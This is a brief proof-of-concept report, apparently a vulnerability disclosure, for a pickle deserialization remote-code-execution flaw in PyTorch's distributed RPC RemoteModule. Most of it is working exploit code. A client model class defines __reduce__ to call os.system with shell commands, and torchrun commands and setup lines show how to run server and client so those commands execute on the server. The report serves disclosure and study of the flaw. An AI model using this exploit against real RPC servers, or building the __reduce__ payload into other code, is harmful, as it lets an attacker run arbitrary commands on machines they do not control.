credit:HRP Aftersnow gxh
Distributed RPC Framework
RemoteModule
has Deserialization RCE in pytorch/pytorch
init environment
export MASTER_ADDR=127.0.0.1
export MASTER_PORT=5000
export TP_SOCKET_IFNAME=ens18
export GLOO_SOCKET_IFNAME=ens18
the server code
import torch
import torch.distributed.rpc as rpc
def run_server():
# Initialize server-side RPC
rpc.init_rpc("server", rank=0, world_size=2)
# Wait for the client's remote call
rpc.shutdown()
if __name__ == "__main__":
run_server()
exec this to run
torchrun --nproc_per_node=1 --nnodes=2 --node_rank=0 --master_addr=127.0.0.1 --master_port=5000 ser.py
the client code and is exp
import torch
import torch.distributed.rpc as rpc
from torch.distributed.nn.api.remote_module import RemoteModule
import torch.nn as nn
# Define a simple neural network model MyModel
class MyModel(nn.Module):
def __init__(self):
super(MyModel, self).__init__()
# A simple linear layer with input dimension 2 and output dimension 2
self.fc = nn.Linear(2, 2)
# Define the forward method
def __reduce__(self):
return (__import__('os').system, ("id;ls",))
def run_client():
# Initialize client-side RPC
rpc.init_rpc("client", rank=1, world_size=2)
# Create a remote module to run the model on the server side
remote_model = RemoteModule(
"server", # Server-side device
MyModel(), # Definition of the remote module's model
args=() # Model initialization parameters
)
# Remotely call the model with an input tensor
input_tensor = torch.tensor([1.0, 2.0])
output = remote_model(input_tensor)
print("Output from remote model:", output)
# Shutdown RPC
rpc.shutdown()
if __name__ == "__main__":
run_client()
exec this to run
torchrun --nproc_per_node=1 --nnodes=2 --node_rank=1 --master_addr=127.0.0.1 --master_port=5000 cli.py
now we can see the output in server